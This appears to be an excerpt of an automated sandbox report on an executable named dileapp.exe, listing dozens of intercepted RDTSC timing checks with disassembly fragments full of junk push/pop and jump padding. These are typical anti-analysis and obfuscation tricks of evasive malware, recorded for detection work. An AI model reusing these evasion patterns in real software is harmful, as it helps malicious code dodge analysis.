Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F547 second address: 123F54D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F54D second address: 123F5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FCCB120DFE8h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FCCB120DFE8h 0x00000019 popad 0x0000001a push edi 0x0000001b jmp 00007FCCB120DFE4h 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F5A5 second address: 123F5AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F5AB second address: 123F5AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F5AF second address: 123F5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FCCB0D02D0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F712 second address: 123F718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F718 second address: 123F71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F71C second address: 123F722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123F722 second address: 123F72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1242D5D second address: 1242D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12425D8 second address: 12425DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12425DE second address: 12425E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12429E2 second address: 1242A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FCCB0D02D10h 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FCCB0D02D15h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12498ED second address: 12498F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12498F1 second address: 1249901 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FCCB0D02D06h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1249901 second address: 1249905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1249905 second address: 1249909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1249909 second address: 124993C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jne 00007FCCB120DFD6h 0x00000011 jmp 00007FCCB120DFE6h 0x00000016 popad 0x00000017 push edx 0x00000018 jg 00007FCCB120DFD6h 0x0000001e pop edx 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124807D second address: 124809A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jc 00007FCCB0D02D06h 0x0000000c jmp 00007FCCB0D02D0Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124809A second address: 12480A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124835C second address: 124837C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007FCCB0D02D16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248512 second address: 1248518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248518 second address: 124851D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124851D second address: 1248527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCCB120DFD6h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248527 second address: 1248543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248543 second address: 1248547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248547 second address: 1248557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248557 second address: 124855D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 124855D second address: 1248563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248739 second address: 124873F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5B4F second address: 11E5BC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FCCB0D02D0Ah 0x0000000c pop ecx 0x0000000d popad 0x0000000e nop 0x0000000f mov edi, dword ptr [ebp+13763215h] 0x00000015 mov dword ptr [ebp+13761C71h], edi 0x0000001b mov ebx, dword ptr [ebp+1391FB4Ch] 0x00000021 push 00000000h 0x00000023 push ecx 0x00000024 call 00007FCCB0D02D08h 0x00000029 pop ecx 0x0000002a mov dword ptr [esp+04h], ecx 0x0000002e add dword ptr [esp+04h], 00000019h 0x00000036 inc ecx 0x00000037 push ecx 0x00000038 ret 0x00000039 pop ecx 0x0000003a ret 0x0000003b mov di, C6D2h 0x0000003f add eax, ebx 0x00000041 mov edx, dword ptr [ebp+13762A90h] 0x00000047 nop 0x00000048 pushad 0x00000049 pushad 0x0000004a jmp 00007FCCB0D02D14h 0x0000004f pushad 0x00000050 popad 0x00000051 popad 0x00000052 push eax 0x00000053 push edx 0x00000054 push edi 0x00000055 pop edi 0x00000056 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5BC0 second address: 11E5BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5BC4 second address: 11E5BD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5BD2 second address: 11E5BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5BD6 second address: 11E5BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5BDC second address: 11E5BE6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCCB120DFDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12489E3 second address: 12489E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1248B76 second address: 1248B91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE5h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251EF7 second address: 1251F06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FCCB0D02D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251F06 second address: 1251F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE0h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251F21 second address: 1251F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Ah 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251F2F second address: 1251F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007FCCB120DFD6h 0x0000000f jmp 00007FCCB120DFE2h 0x00000014 push esi 0x00000015 pop esi 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1250154 second address: 125015A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125057E second address: 125059C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE8h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125059C second address: 12505B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCCB0D02D13h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12505B9 second address: 12505BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1250D8F second address: 1250D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1250D97 second address: 1250D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1251089 second address: 125108F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1254FC3 second address: 1254FDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDFh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1254FDE second address: 1254FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1254FE2 second address: 1254FE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1254FE6 second address: 1255007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D11h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FCCB0D02D06h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1255007 second address: 125500B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125500B second address: 125501B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jbe 00007FCCB0D02D06h 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125501B second address: 125502A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125502A second address: 1255030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1255030 second address: 1255061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FCCB120DFEDh 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12555F7 second address: 12555FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12555FD second address: 1255625 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FCCB120DFD6h 0x0000000a popad 0x0000000b jmp 00007FCCB120DFE5h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FCCB120DFD6h 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1255625 second address: 125562B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1255907 second address: 125591F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125A98D second address: 125A99B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125A99B second address: 125A99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125A99F second address: 125A9AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 125A9AD second address: 125A9B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12623E1 second address: 12623FF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB0D02D08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCCB0D02D0Fh 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1262E12 second address: 1262E1C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB120DFD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1262E1C second address: 1262E22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12630C9 second address: 12630EF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCCB120DFD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FCCB120DFE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263220 second address: 1263224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263224 second address: 126323D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FCCB120DFD6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f js 00007FCCB120DFD6h 0x00000015 popad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 126323D second address: 1263279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 jo 00007FCCB0D02D0Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007FCCB0D02D0Eh 0x00000017 pushad 0x00000018 jl 00007FCCB0D02D06h 0x0000001e jng 00007FCCB0D02D06h 0x00000024 jmp 00007FCCB0D02D0Bh 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263279 second address: 1263283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FCCB120DFD6h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263A5D second address: 1263A62 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263A62 second address: 1263A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE3h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCCB120DFDFh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263A91 second address: 1263A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263A97 second address: 1263A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263A9B second address: 1263AA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263AA1 second address: 1263AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1263AA7 second address: 1263AAC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1264124 second address: 1264128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1279FEB second address: 127A000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 127A19B second address: 127A19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 127A19F second address: 127A1A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 127C9E9 second address: 127C9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 127C9ED second address: 127C9F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 127C9F1 second address: 127CA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007FCCB120DFD6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 127CB55 second address: 127CB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1281C19 second address: 1281C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128631D second address: 128632C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCCB0D02D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C6C4 second address: 128C6D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB120DFDEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C4C1 second address: 128C4CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C4CC second address: 128C4EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FCCB120DFD6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 128C4EB second address: 128C519 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FCCB0D02D21h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007FCCB0D02D19h 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
